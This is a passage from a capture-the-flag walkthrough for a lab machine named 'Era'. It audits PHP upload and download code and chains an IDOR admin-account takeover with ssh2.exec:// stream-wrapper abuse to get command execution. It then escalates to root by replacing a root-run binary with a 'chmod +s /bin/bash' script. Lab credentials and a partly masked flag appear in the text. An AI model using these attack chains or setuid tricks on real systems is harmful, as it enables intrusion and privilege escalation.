│   ├── exif.so
│   ├── ffi.so
│   ├── fileinfo.so
│   ├── ftp.so
│   ├── gettext.so
│   ├── iconv.so
│   ├── opcache.so
│   ├── pdo.so
│   ├── pdo_sqlite.so
│   ├── phar.so
│   ├── posix.so
│   ├── readline.so
│   ├── shmop.so
│   ├── simplexml.so
│   ├── sockets.so
│   ├── sqlite3.so
│   ├── ssh2.so
│   ├── sysvmsg.so
│   ├── sysvsem.so
│   ├── sysvshm.so
│   ├── tokenizer.so
│   ├── xmlreader.so
│   ├── xml.so
│   ├── xmlwriter.so
│   ├── xsl.so
│   └── zip.so
└── signing
    ├── key.pem
    └── x509.genkey
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;We can start some code auditing work on the found backup source code.
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;1. upload.php&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We begin with upload.php, as it provides direct file input interaction potential for upload-based exploitation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;if ($_POST[&apos;fsubmitted&apos;] == &quot;true&quot;) {

    $target_dir = &quot;files/&quot;;

    // If the user is uploading multiple files, we&apos;ll ZIP them
    if (count($_FILES[&quot;upfile&quot;][&quot;name&quot;]) &amp;gt; 1) {
        $target_file = $target_dir . &quot;Era_User$currentUser &quot; . date(&apos;Y-m-d H_i_s&apos;) . &quot;.zip&quot;;
    } else {
        $target_file = $target_dir . basename($_FILES[&quot;upfile&quot;][&quot;name&quot;][0]);
    }

    $uploadOk = true;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;All uploaded files (including ZIPs) are stored in the &lt;code&gt;/files/&lt;/code&gt; directory — a predictable and accessible path.&lt;/li&gt;
&lt;li&gt;Multi-file upload results in a &lt;code&gt;.zip&lt;/code&gt; archive, named using the user ID and a timestamp.&lt;/li&gt;
&lt;li&gt;Single file upload is saved as-is using &lt;code&gt;basename()&lt;/code&gt;, giving the user control over the filename and extension.&lt;/li&gt;
&lt;li&gt;No extension sanitization potentially dangerous types like &lt;code&gt;.php&lt;/code&gt;, &lt;code&gt;.phar&lt;/code&gt;, etc., are accepted.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;    // Check for harmful patterns
    if (strpos($target_file, &quot;&apos;&quot;) !== false || strpos($target_file, &apos;&quot;&apos;) !== false) {
        echo &apos;&amp;lt;div class=&quot;upload-error&quot;&amp;gt;Error: Tampering attempt detected.&amp;lt;/div&amp;gt;&apos;;
        $uploadOk = false;
    }

    $fileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Attempts to block &lt;code&gt;&apos;&lt;/code&gt; and &lt;code&gt;&quot;&lt;/code&gt; in filenames. That&apos;s it.&lt;/li&gt;
&lt;li&gt;No restriction on file types, content, or MIME dangerously flexible.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;       if ($file_upload_complete) {
            $newFileId = rand(1, 9999);
            while (in_array($newFileId, $fileListId)) {
                $newFileId = rand(1, 9999);
            }

            $current_date = time();

            $publish = contactDB(&quot;INSERT INTO files (fileid, filepath, fileowner, filedate)
                                  VALUES ($newFileId, &apos;$target_file&apos;, $currentUser, $current_date);&quot;, 0);

            echo &apos;&amp;lt;div class=&quot;upload-success&quot;&amp;gt;Upload Successful!&amp;lt;/div&amp;gt;&apos;;

            $download_link = get_download_link($newFileId);
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;File metadata resides in a SQLite files table, indexed by a fileid between &lt;code&gt;1–9999&lt;/code&gt; making it a low-entropy IDOR target. Download links are served via the &lt;code&gt;get_download_link()&lt;/code&gt; function.
The upload script accepts arbitrary file types, including &lt;code&gt;.php&lt;/code&gt; and &lt;code&gt;.phar&lt;/code&gt;, though current conditions prevent direct exploitation.
Uploaded files are placed in a non-executable &lt;code&gt;/files/&lt;/code&gt; directory, blocking &lt;code&gt;.php&lt;/code&gt; execution. No LFI is present to trigger uploads, and no &lt;code&gt;unserialize()&lt;/code&gt; calls on user-controlled &lt;code&gt;phar://&lt;/code&gt; paths have been identified yet.
&amp;lt;/div&amp;gt;
&amp;lt;script async=&quot;async&quot; data-cfasync=&quot;false&quot; src=&quot;//pl27351172.profitableratecpm.com/e8e96e069d8bb59ebeb0db9859431613/invoke.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;div id=&quot;container-e8e96e069d8bb59ebeb0db9859431613&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;p&amp;gt;Conclusion: while the upload mechanism is insecure by design, it remains non-exploitable in the current environment.&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;2.download.php&amp;lt;/&amp;lt;h1&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!isset($_GET[&apos;id&apos;])) {
	header(&apos;location: index.php&apos;); // user loaded without requesting file by id
	die();
}

if (!is_numeric($_GET[&apos;id&apos;])) {
	header(&apos;location: index.php&apos;); // user requested non-numeric (invalid) file id
	die();
}

$reqFile = $_GET[&apos;id&apos;];

$fetched = contactDB(&quot;SELECT * FROM files WHERE fileid=&apos;$reqFile&apos;;&quot;, 1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p&amp;gt;If the requested file exists, it proceeds to return it:&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn&apos;t find it

if (!$realFile) {
	echo deliverTop(&quot;Era - Download&quot;);

	echo deliverMiddle(&quot;File Not Found&quot;, &quot;The file you requested doesn&apos;t exist on this server&quot;, &quot;&quot;);

	echo deliverBottom();
} else {
	$fileName = str_replace(&quot;files/&quot;, &quot;&quot;, $fetched[0]);


	// Allow immediate file download
	if ($_GET[&apos;dl&apos;] === &quot;true&quot;) {

		header(&apos;Content-Type: application/octet-stream&apos;);
		header(&quot;Content-Transfer-Encoding: Binary&quot;);
		header(&quot;Content-disposition: attachment; filename=\&quot;&quot; .$fileName. &quot;\&quot;&quot;);
		readfile($fetched[0]);    
        
    ...
        
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Although the &lt;code&gt;dl=true&lt;/code&gt; parameter doesn’t appear in the URL, it is injected dynamically through the HTML source.
&lt;img src=&quot;08.png&quot; alt=&quot;alt text&quot; /&gt;
The intriguing section lies under the &lt;code&gt;show=true&lt;/code&gt; branch (highlighted in purple), active only for the admin user &lt;code&gt;(erauser === 1)&lt;/code&gt;. This code contains a critical logic flaw.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;// Check if it&apos;s a wrapper (://)
if (strpos($format, &apos;://&apos;) !== false) {
    // Treats it as a protocol wrapper
    // e.g. http://, file://, php://, etc.
    $wrapper = $format;
    header(&apos;Content-Type: application/octet-stream&apos;);
} else {
    $wrapper = &apos;&apos;;
    header(&apos;Content-Type: text/html&apos;);
}

try {
    // Build the final file path
    $file = $fetched[0];
    // If a wrapper is set
    // [!] This constructs an arbitrary protocol + file path.
	$file_content = fopen($wrapper ? $wrapper . $file : $file, &apos;r&apos;);
    
    ...
        
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;$wrapper&lt;/code&gt; string is entirely attacker-controlled. By specifying wrappers like &lt;code&gt;file://&lt;/code&gt;, &lt;code&gt;php:/&lt;/code&gt;/, or &lt;code&gt;ssh2://&lt;/code&gt;, an admin user can access arbitrary resources via stream wrappers—exemplifying a classic Arbitrary Protocol File Read (APFR) vulnerability.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;With &lt;code&gt;ssh2.so&lt;/code&gt; and &lt;code&gt;phar.so&lt;/code&gt; modules present and presumably enabled, this vulnerability paves the way for:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;LFI via &lt;code&gt;file://&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;PHP filter chain attacks using &lt;code&gt;php://filter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SSRF or RCE through &lt;code&gt;ssh2://&lt;/code&gt;
&amp;lt;/div&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;3. reset.php&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Before leveraging the Arbitrary Protocol Execution, privilege escalation to the admin account is required.
Enter &lt;code&gt;reset.php&lt;/code&gt; an unprotected IDOR vulnerability.
&lt;img src=&quot;09.png&quot; alt=&quot;alt text&quot; /&gt;
No safeguards exist to stop low-privileged users from modifying security question answers for any account, including the admin &lt;code&gt;admin_ef01cab31aa&lt;/code&gt;. By resetting the admin’s answers and leveraging the previously identified &lt;code&gt;/security_login.php&lt;/code&gt; endpoint, the admin account can be hijacked.
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Attack Execution&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;With all elements aligned, we can now orchestrate a full attack chain to obtain &lt;code&gt;Remote Code Execution (RCE)&lt;/code&gt;:
&lt;img src=&quot;10.png&quot; alt=&quot;alt text&quot; /&gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;1. IDOR&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The attack starts by exploiting the IDOR vulnerability in &lt;code&gt;reset.php&lt;/code&gt;. Using Burp Suite Repeater, capture the POST request and substitute the username with &lt;code&gt;admin_ef01cab31aa&lt;/code&gt;.
&lt;img src=&quot;11.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;2. Admin Impersonation&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Once reset, use the &lt;code&gt;security_login.php&lt;/code&gt; endpoint to impersonate the admin:
&lt;img src=&quot;12.png&quot; alt=&quot;alt text&quot; /&gt;
Once logged in, upload a dummy file to obtain a valid file ID. Then, capture the download request along with the admin session cookie using Burp Suite.
&lt;img src=&quot;13.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Send the request to Repeater and test the stream wrapper logic using the &lt;code&gt;file://&lt;/code&gt; protocol with an existing ID, such as &lt;code&gt;54&lt;/code&gt; or &lt;code&gt;150&lt;/code&gt;.
&lt;img src=&quot;14.png&quot; alt=&quot;alt text&quot; /&gt;
This confirms successful access to the stream wrapper execution path with admin privileges.
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;3. Abuse SSH2 Stream&amp;lt;/h1&amp;gt;
&amp;lt;h2&amp;gt; &amp;gt; PHP | ssh2://&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Since &lt;code&gt;ssh2.so&lt;/code&gt; is enabled (confirmed via the downloaded PHP config), we can leverage the &lt;code&gt;ssh2.exec://&lt;/code&gt; protocol, which opens an SSH connection and executes a remote command.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;From &lt;a href=&quot;https://www.php.net/manual/en/wrappers.ssh2.php&quot;&gt;PHP docs&lt;/a&gt;, available stream wrappers include:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ssh2.shell://&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ssh2.exec://&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ssh2.tunnel://&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ssh2.sftp://&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ssh2.scp://&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;This means we can achieve remote command execution via &lt;code&gt;ssh2.exec://&lt;/code&gt;:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;ssh2.exec://user:pass@example.com:22/usr/local/bin/some_command
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;This example establishes an SSH connection to &lt;code&gt;example.com&lt;/code&gt;, performs authentication, and executes &lt;code&gt;some_command&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;SSRF to RCE&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This functions as an SSRF primitive using protocol smuggling, ultimately enabling command execution.
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;Exploit&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;p&amp;gt; &amp;gt; step-1&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Upload any file to obtain its file ID, open the download request in Burp, send it to Repeater, and modify the format parameter in the URL.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;By targeting the local SSH service and authenticating as &lt;code&gt;yuri&lt;/code&gt; (credentials previously obtained), we can craft a reverse shell payload.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::note
Insert this into the Burp Repeater URL and URL-encode it (Ctrl+U) within the format= parameter.
&lt;img src=&quot;15.png&quot; alt=&quot;alt text&quot; /&gt;
&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;Login To user Eric&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
atOptions = {
&apos;key&apos; : &apos;5e20fa4a9329609198fd43c2b01a1bae&apos;,
&apos;format&apos; : &apos;iframe&apos;,
&apos;height&apos; : 90,
&apos;width&apos; : 728,
&apos;params&apos; : {}
};
&amp;lt;/script&amp;gt;
&amp;lt;script type=&quot;text/javascript&quot; src=&quot;//www.highperformanceformat.com/5e20fa4a9329609198fd43c2b01a1bae/invoke.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;16.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;since we dont have flag lets login to another user called &lt;code&gt;eric&lt;/code&gt;
we already have passowrd of user &lt;code&gt;eric:america&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;yuri@era:/home$ su - eric
su - eric
password : america
ls
user.txt
cat *
vdadar8s5daaccsff******
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;ROOT&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Begin by establishing a stable shell as the user &lt;code&gt;eric&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;script -c bash /dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;
&amp;lt;h2&amp;gt;Internal Footprinting&amp;lt;/h2&amp;gt;
&amp;lt;h1&amp;gt;LinPEAS&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root eric 33 Jul 27 01:12 /home/eric/user.txt
-rwxrw---- 1 root devs 16544 Jul 27 08:15 /opt/AV/periodic-checks/monitor
-rw-rw---- 1 root devs 103 Jul 27 08:15 /opt/AV/periodic-checks/status.log

╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxrwxr-x  3 root root 4096 Jul 22 08:42 .
drwxr-xr-x 20 root root 4096 Jul 22 08:41 ..
drwxrwxr--  3 root devs 4096 Jul 22 08:42 AV

╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/home/eric/.gnupg/trustdb.gpg
/home/eric/.gnupg/pubring.kbx
/opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/status.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
atOptions = {
&apos;key&apos; : &apos;5e20fa4a9329609198fd43c2b01a1bae&apos;,
&apos;format&apos; : &apos;iframe&apos;,
&apos;height&apos; : 90,
&apos;width&apos; : 728,
&apos;params&apos; : {}
};
&amp;lt;/script&amp;gt;
&amp;lt;script type=&quot;text/javascript&quot; src=&quot;//www.highperformanceformat.com/5e20fa4a9329609198fd43c2b01a1bae/invoke.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This strongly indicates that something noteworthy resides under &lt;code&gt;/opt&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;eric@era:~$ ls -aRhl /opt

/opt:
total 12K
drwxrwxr-x  3 root root 4.0K Jul 22 08:42 .
drwxr-xr-x 20 root root 4.0K Jul 22 08:41 ..
drwxrwxr--  3 root devs 4.0K Jul 22 08:42 AV

/opt/AV:
total 12K
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 .
drwxrwxr-x 3 root root 4.0K Jul 22 08:42 ..
drwxrwxr-- 2 root devs 4.0K Jul 27 08:22 periodic-checks

/opt/AV/periodic-checks:
total 32K
drwxrwxr-- 2 root devs 4.0K Jul 27 08:22 .
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrw---- 1 root devs  17K Jul 27 08:22 monitor
-rw-rw---- 1 root devs  205 Jul 27 08:22 status.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;monitor&lt;/code&gt; binary is owned by root, yet both it and &lt;code&gt;status.log&lt;/code&gt; have group write permissions for the &lt;code&gt;devs&lt;/code&gt; group, which includes &lt;code&gt;eric&lt;/code&gt; presenting a clear avenue for privilege escalation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Core Elements&amp;lt;/h1&amp;gt;
&amp;lt;h2&amp;gt;Binary Takeover&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;eric@era:~$ file /opt/AV/periodic-checks/monitor

/opt/AV/periodic-checks/monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;monitor&lt;/code&gt; binary runs with &lt;code&gt;root&lt;/code&gt; privileges, but since the &lt;code&gt;devs&lt;/code&gt; group has write access to its parent directories—and &lt;code&gt;eric&lt;/code&gt; is part of that group we’re able to rename or replace it without restriction.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;eric@era:/opt/AV/periodic-checks$ chmod +x monitor
chmod: changing permissions of &apos;monitor&apos;: Operation not permitted

eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak
mv monitor monitor.bak

eric@era:/opt/AV/periodic-checks$ ll
drwxrwxr-- 2 root devs  4096 Jul 27 08:26 ./
drwxrwxr-- 3 root devs  4096 Jul 22 08:42 ../
-rwxrw---- 1 root devs 16544 Jul 27 08:26 monitor.bak
-rw-rw---- 1 root devs   307 Jul 27 08:26 status.log
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;This creates a textbook case of binary replacement, allowing us to plant a payload that gets executed with elevated privileges.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
atOptions = {
&apos;key&apos; : &apos;5e20fa4a9329609198fd43c2b01a1bae&apos;,
&apos;format&apos; : &apos;iframe&apos;,
&apos;height&apos; : 90,
&apos;width&apos; : 728,
&apos;params&apos; : {}
};
&amp;lt;/script&amp;gt;
&amp;lt;script type=&quot;text/javascript&quot; src=&quot;//www.highperformanceformat.com/5e20fa4a9329609198fd43c2b01a1bae/invoke.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;h2&amp;gt;2. Scheduled Task&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Frequent updates to &lt;code&gt;status.log&lt;/code&gt; suggest it&apos;s actively maintained by the monitor binary.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;eric@era:~$ cat /opt/AV/periodic-checks/status.log

[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;h2&amp;gt;This suggests:&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A scheduled task, likely executed by root, runs the &lt;code&gt;monitor&lt;/code&gt; binary. With the ability to replace it, we effectively control what code is executed with root privileges.
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;3. Signature&amp;lt;/h1&amp;gt;
&amp;lt;h2&amp;gt;Self Signed&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Simply replacing &lt;code&gt;monitor&lt;/code&gt; won’t suffice it’s guarded by a signature verification check. For instance, swapping it with a basic bash script would fail validation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak

eric@era:/opt/AV/periodic-checks$ echo -e &apos;#!/bin/bash\nchmod +s /bin/bash&apos; &amp;gt; monitor

eric@era:/opt/AV/periodic-checks$ ls
monitor  monitor.bak  status.log

eric@era:/opt/AV/periodic-checks$ cat monitor
#!/bin/bash
chmod +s /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;status.log&lt;/code&gt; file logs the error from the most recent execution attempt.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;eric@era:/opt/AV/periodic-checks$ cat status.log

[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
objcopy: /opt/AV/periodic-checks/monitor: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;This reveals that the binary needs to be a properly signed ELF executable. Notably, the signature is embedded within the ELF itself—rather than provided as an external &lt;code&gt;.sig&lt;/code&gt; or &lt;code&gt;.pem&lt;/code&gt; file. We can verify this by inspecting custom ELF sections.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;eric@era:/opt/AV/periodic-checks$ readelf -S /opt/AV/periodic-checks/monitor | grep -i sig

  [28] .text_sig         PROGBITS         0000000000000000  00003040
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;The ELF binary includes a custom section called &lt;code&gt;.text_sig&lt;/code&gt;. When the system invokes the monitor binary—likely through something like &lt;code&gt;initiate_monitoring.sh&lt;/code&gt; it uses &lt;code&gt;objcopy&lt;/code&gt; to extract this section and verifies it against the contents of the &lt;code&gt;.text&lt;/code&gt; segment.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Therefore, we can utilize objdump to examine the contents of the section.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ objdump -s -j .text_sig monitor

monitor:     file format elf64-x86-64

Contents of section .text_sig:
 0000 308201c6 06092a86 4886f70d 010702a0  0.....*.H.......
 0010 8201b730 8201b302 0101310d 300b0609  ...0......1.0...
 0020 60864801 65030402 01300b06 092a8648  `.H.e....0...*.H
 0030 86f70d01 07013182 01903082 018c0201  ......1...0.....
 0040 01306730 4f311130 0f060355 040a0c08  .0g0O1.0...U....
 0050 45726120 496e632e 31193017 06035504  Era Inc.1.0...U.
 0060 030c1045 4c462076 65726966 69636174  ...ELF verificat
 0070 696f6e31 1f301d06 092a8648 86f70d01  ion1.0...*.H....
 0080 09011610 79757269 76696368 40657261  ....yurivich@era
 0090 2e636f6d 02146d63 4aa981e1 93a1e448  .com..mcJ......H
 00a0 c5205ff7 9b84e6b6 f50b300b 06096086  . _.......0...`.
 00b0 48016503 04020130 0d06092a 864886f7  H.e....0...*.H..
 00c0 0d010101 05000482 01006a8d 5090e77a  ..........j.P..z
 00d0 a22431d3 e629241a c7eec906 dce87592  .$1..)$.......u.
 00e0 c90733b8 5ea5c466 db04a35a 28648853  ..3.^..f...Z(d.S
 00f0 00f2775c fbe983ae 833d2c36 7030985a  ..w\.....=,6p0.Z
 0100 b5d9ae28 cfbf75db 8e402955 c9bef8d3  ...(..u..@)U....
 0110 058e6ee1 1eb435bb 30a3056d b85074bc  ..n...5.0..m.Pt.
 0120 4e15fc44 0a57e3f6 2f4b5ecd 0e6b222d  N..D.W../K^..k&quot;-
 0130 c4039189 2c7ded05 fe45a3e9 c00f0610  ....,}...E......
 0140 f8a653ab f72571aa cbf2ff38 238658d0  ..S..%q....8#.X.
 0150 8dcfba33 1c6d2092 8c01c77d 4e49ea94  ...3.m ....}NI..
 0160 670c9de9 42779e09 67143d81 49209fc1  g...Bw..g.=.I ..
 0170 24005880 04c7cebf d398ec6d 55b50333  $.X........mU..3
 0180 db46f2ab 74e6aa24 e9dc76d2 c9c4183b  .F..t..$..v....;
 0190 991bc0f4 762b1c09 1d82317c aab31e88  ....v+....1|....
 01a0 dfc04871 2bb9ac8a 0dbb6cd7 cd6bdcaa  ..Hq+.....l..k..
 01b0 c96c2afe faa17944 ebdd7a6e 6f2e91da  .l*...yD..zno...
 01c0 5e41e0e6 5ddeec93 47ee               ^A..]...G.

&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;The output reveals a standard ASN.1 DER-encoded format containing elements such as:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Era Inc&lt;/code&gt;. (Issuer)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ELF verification&lt;/code&gt; (Common Name)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;yurivich@era.com&lt;/code&gt; (Email)&lt;/li&gt;
&lt;li&gt;An extensive RSA signature block&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;This confirms the system validates binaries by extracting the .text_sig section and checking its integrity, rejecting any unsigned or altered binaries.
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;OpenSSL Config&amp;lt;h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Previously, we identified a signing mechanism located within the FTP share:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ tree signing

signing
├── key.pem
└── x509.genkey
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;di&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts

[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = yurivich@era.com

[ myexts ]
basicConstraints=critical,CA:FALSE
